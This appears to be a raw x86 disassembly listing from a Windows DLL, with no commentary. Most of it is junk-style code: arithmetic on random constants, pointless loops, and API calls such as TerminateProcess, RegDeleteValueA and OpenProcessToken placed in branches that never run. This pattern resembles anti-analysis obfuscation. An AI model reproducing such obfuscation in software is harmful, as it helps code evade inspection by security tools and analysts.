cmp dword [ebp - 0x2c0], 6
jg 0x1002ae4e
push 4
pop edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x50], 0x4800fa7
mov eax, dword [ebp - 0x44]
neg eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
inc dword [ebp - 0x2c0]
cmp dword [ebp - 0x2c0], 6
jle 0x1002ae1f
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x30], 0xc3c62ed5
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x2c], 0xd416a781
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002ae8d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], 0x65797632
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002ae75
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002b01d
or edi, 0xffffffff
mov dword [ebp - 0x14], 0xa0734f09
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1bc], 0
jne 0x1002b017
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1bc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1b4]
cmp ecx, eax
mov eax, dword [ebp - 0x1b8]
setge dl
add eax, edx
jne 0x1002af06
cmp dword [ebp - 0x1c], eax
jne 0x1002af08
mov dword [ebp - 0x48], 0xc48968f2
mov dword [ebp - 0x14], eax
jmp 0x1002af80
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002aefa
mov dword [ebp - 0x4c], 0x88ca
cmp dword [ebp - 0x1c], eax
je 0x1002af1e
cmp dword [ebp - 0x30], eax
jne 0x1002af21
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub eax, 0x32de9e5a
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jle 0x1002af4d
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002af4d
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x14], 0x28f4e1c
mov eax, dword [ebp - 0x14]
cmp eax, 0x8f1e0c86
setne cl
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x44], ecx
jmp 0x1002b007
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x430], 0x42b08f18
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002af6f
cmp dword [ebp - 0x1c], edi
jne 0x1002afc4
mov eax, dword [ebp - 0x1bc]
xor edx, edx
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x48]
jge 0x1002afc4
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1002afc4
cmp dword [ebp - 0x48], eax
je 0x1002afc4
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1bc]
xor edx, edx
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x54]
setle cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x9a47fa82
setne al
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
push 3
pop ecx
jle 0x1002ae9d
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov dword [ebp - 0x2c], 2
jmp 0x1002b070
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0xfffffff2
jg 0x1002b06d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002b061
push 0x14e9
push 0x1b4c
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff2
jle 0x1002b032
push 3
pop ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff6
jge 0x1002b026
mov eax, 0xf9b3198a
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], eax
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x34], 0x74952f34
mov dword [ebp - 0x54], 0x2a77b69c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002b0cd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xae0], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b0b9
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002b150
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0xae0], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1002b0f2
mov eax, dword [ebp - 0xadc]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xffff
mov dword [ebp - 0x34], 0xe974
mov eax, dword [ebp - 0x28]
cmp ecx, eax
push 0xfffffffffffffffd
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
setge dl
sub ecx, edx
xor edx, edx
cmp eax, ecx
pop eax
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffffae54
setne cl
sub ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
add eax, dword [ebp - 0x28]
je 0x1002b14e
mov eax, esi
jmp 0x1002b150
xor eax, eax
xor edx, edx
cmp eax, 0x68dd2ac3
setge dl
xor ecx, ecx
sub edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002b180
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x24], 0xc6f1bf50
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x30], esi
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002b1ac
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x23c], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002b198
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002b1cc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc0], 2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002b1b4
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002b1e2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4b8], 0xbc227363
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002b1d1
mov eax, dword [ebp - 0x238]
xor ecx, ecx
mov eax, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x234]
cmp eax, 0xa67d
setg cl
cmp ecx, esi
jae 0x1002b213
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002b213
mov esi, eax
mov eax, dword [ebp - 0x234]
xor edx, edx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x54]
sub ecx, eax
cmp ecx, esi
mov dword [ebp - 0xcb8], ecx
mov eax, dword [ebp - 0x23c]
setge dl
imul edx, eax
xor eax, eax
cmp edx, dword [ebp - 0x23c]
jg 0x1002b253
cmp dword [ebp - 0x30], eax
je 0x1002b253
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1002b258
xor edx, edx
mov ecx, eax
inc edx
mov eax, dword [ebp - 0x23c]
sub ecx, eax
mov eax, dword [ebp - 0x238]
sub ecx, eax
push 3
pop eax
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x24], eax
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x1002bcc8
mov esi, 0x214d
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], 5
jmp 0x1002b2bf
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x14], eax
jmp 0x1002b2b6
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b2b3
push 0x1962
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
jg 0x1002b29c
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffe3
jne 0x1002b290
mov dword [ebp - 0x48], 0x6dd8d130
mov dword [ebp - 0x30], 0xbe1d925b
mov dword [ebp - 0x44], 0x89fff12f
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002b2fd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x334], 0xfffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b2e5
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002b31d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8ec], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b305
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b345
push eax
push 0xba7
push 0xba3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x334]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x334]
cmp eax, 0xfff6
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x334]
push 3
setne cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x8e8], edx
mov eax, dword [ebp - 0x334]
cmp edx, eax
mov eax, dword [ebp - 0x30]
setne cl
imul eax, ecx
pop ecx
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], ecx
jg 0x1002bc60
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1002b3ca
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x668], 0x75c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002b3b1
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edx
jg 0x1002b431
mov dword [ebp - 0x14], 0xfffffff9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x668]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x668], ecx
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002b422
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b40a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor edx, edx
xor eax, eax
inc edx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b41f
push eax
call dword [sym.imp.USER32.dll_CharNextW]
xor edx, edx
xor eax, eax
inc edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1002b3f4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x1002b3d2
xor eax, eax
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x20], 0xd6923607
mov dword [ebp - 0x28], 0xc64a6847
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x34], 0x80254f8
mov dword [ebp - 0x40], 0x7c525ac8
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002b479
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbe4], 0x637c1d6b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b461
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b492
push eax
push 0x17bb
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
xor edx, edx
inc edx
mov dword [ebp - 0x28], 0xffffffe5
cmp dword [ebp - 0x28], 0xfffffff0
jge 0x1002b603
or esi, 0xffffffff
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x30], 0x8586fd5d
mov dword [ebp - 0x54], 0x30a4ccfd
mov dword [ebp - 0x18], 0x8112def9
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x28]
jne 0x1002b52b
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0xbd8]
mov eax, dword [ebp - 0x670]
xor eax, eax
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x678]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setg dl
cmp edx, esi
jl 0x1002b516
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
sub eax, 0x5879
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1002b5b5
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002b584
push 0x1ff9
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002b5ae
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b5ab
push 0x211e
push 0x24c7
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x1002b58c
jmp 0x1002b5ee
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1002b5c9
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002b5e9
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b5e6
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002b5d1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
push 1
pop edx
jl 0x1002b4a6
mov esi, 0x214d
mov dword [ebp - 0x14], 0xb26bdde0
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], 6
cmp dword [ebp - 0x14], 0x17
jle 0x1002b670
push 3
pop esi
mov dword [ebp - 0x54], 0xfffffff9
mov dword [ebp - 0x38], 0xd00585b
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x54]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xe05d
setge al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x1d
jmp 0x1002b65c
mov dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x16
jg 0x1002b650
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
jg 0x1002b620
mov esi, 0x214d
xor eax, eax
xor ecx, ecx
mov byte [ebp - 0xd], al
inc ecx
mov dword [ebp - 0x28], 0x24ec2e0c
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x50], 5
push 4
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x1002b6b3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd14], 0xe511bd77
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002b69b
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b6cd
push 0xc91
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x17
jg 0x1002b7dc
xor esi, esi
mov dword [ebp - 0x38], 0xcda2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002b705
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8f4], 0x526c7153
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002b6ec
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002b724
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc0c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b710
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x38], eax
je 0x1002b72e
lea ecx, [esi + 1]
mov edx, dword [ebp - 0x38]
xor eax, eax
cmp ecx, 0x7a14
setne al
sub edx, eax
neg edx
sbb edx, edx
add edx, 0xfffee95f
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x8f4], edx
mov eax, dword [ebp - 0x38]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x28]
je 0x1002b768
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc04]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
sub edx, eax
xor eax, eax
cmp edx, 0x585ca258
setl al
mov dword [ebp - 0xd14], eax
test eax, eax
je 0x1002b7aa
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x1002b7ac
cmp dword [ebp - 0x28], eax
jne 0x1002b7d5
jmp 0x1002b7c2
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1002b7c2
push 0x2445
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x17
push 0
pop eax
push 4
pop edx
jle 0x1002b6dc
xor eax, eax
mov esi, 0x214d
cmp byte [ebp - 0xd], 0
je 0x1002b99d
mov dword [ebp - 0x1c], 0x2eac4530
or ecx, 0xffffffff
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0xfffffff6
push 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xc77dcda7
mov dword [ebp - 0x690], ecx
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x688], ecx
mov dword [ebp - 0x684], ecx
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002b839
cmp dword [ebp - 0x4c], eax
jne 0x1002b839
mov edx, eax
jmp 0x1002b83e
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x60]
setg al
xor edx, edx
imul eax, eax, 0x8f98
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setge dl
sub eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setle cl
add ecx, dword [ebp - 0x1c]
je 0x1002b881
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
sub eax, 0x2ff1
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x68c], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff0
cmp dword [ebp - 0x1c], 0xd
jl 0x1002b982
push 3
pop edi
xor esi, esi
push 0xfffffffffffffffd
inc esi
pop ecx
mov dword [ebp - 0x2c], 0xaebb
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffe9
je 0x1002b965
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1002b8e7
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x1002b8e9
mov ecx, esi
mov eax, dword [ebp - 0x2c]
sub ecx, eax
je 0x1002b8f3
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002b907
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x1002b909
mov edx, esi
mov eax, dword [ebp - 0x2c]
sub edx, eax
sub edx, dword [ebp - 0x68c]
mov eax, dword [ebp - 0x2c]
sub edx, 0xcd890f6d
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x14], 0x54c3
mov dword [ebp - 0x54], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002b953
push eax
push 0x11ba
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe9
jne 0x1002b8d0
push 0xfffffffffffffffd
xor eax, eax
pop ecx
cmp dword [ebp - 0x54], eax
jne 0x1002b977
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xd
jge 0x1002b8b6
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov esi, 0x214d
push eax
push 0x626
push 0x315
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
mov dword [ebp - 0x40], 0x8b13eca4
xor eax, eax
push 0xfffffffffffffffb
pop edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x40], 0xfd947597
mov dword [ebp - 0x40], 0x588c
mov dword [ebp - 0x54], 0x6928
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002b9e7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfb4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b9d3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002ba03
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1044], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b9ef
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ba15
push eax
push eax
call edi
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x54]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x1002bc51
push 2
pop edx
xor ebx, ebx
push 0xfffffffffffffffd
inc ebx
pop edi
mov dword [ebp - 0x40], 0x592c6eed
mov dword [ebp - 0x40], 0x3ae5d5ec
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xdc], esi
mov dword [ebp - 0xd8], esi
mov dword [ebp - 0xd4], esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002ba72
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x900], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ba5e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002ba92
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x474], 0x7a4a12b5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002ba7a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002bab2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x590], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ba9a
xor eax, eax
mov dword [ebp - 0x46c], eax
jmp 0x1002bae2
mov dword [ebp - 0x14], 0x55b7cefa
mov dword [ebp - 0x14], eax
jmp 0x1002bad7
mov dword [ebp - 0x54], edx
dec dword [ebp - 0x54]
cmp dword [ebp - 0x8fc], eax
jne 0x1002badc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002bac6
inc dword [ebp - 0x46c]
cmp dword [ebp - 0x46c], ebx
jle 0x1002baba
inc dword [ebp - 0x590]
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x38], 0xcdd711a5
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002bb25
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c], 0x3ae35568
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002bb0d
xor eax, eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x1a
jl 0x1002bc2c
mov esi, 0xae4f78d7
mov dword [ebp - 0x14], ebx
xor edx, edx
mov dword [ebp - 0x28], 0xfffffffc
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8c]
cmp ecx, eax
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
setg dl
imul ecx, edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x54]
setge dl
add eax, 0x7631615e
add eax, edx
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x8b012130
setne cl
xor eax, eax
cmp ecx, 0xa306
je 0x1002bb9d
cmp dword [ebp - 0x28], eax
je 0x1002bb9d
mov eax, ebx
mov edx, 0xfff6
sub edx, eax
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x14]
imul edx, eax
mov eax, dword [ebp - 0x14]
imul ecx, edx
xor edx, edx
cmp ecx, eax
setle dl
xor ebx, ebx
cmp edx, edi
setne bl
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
imul ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
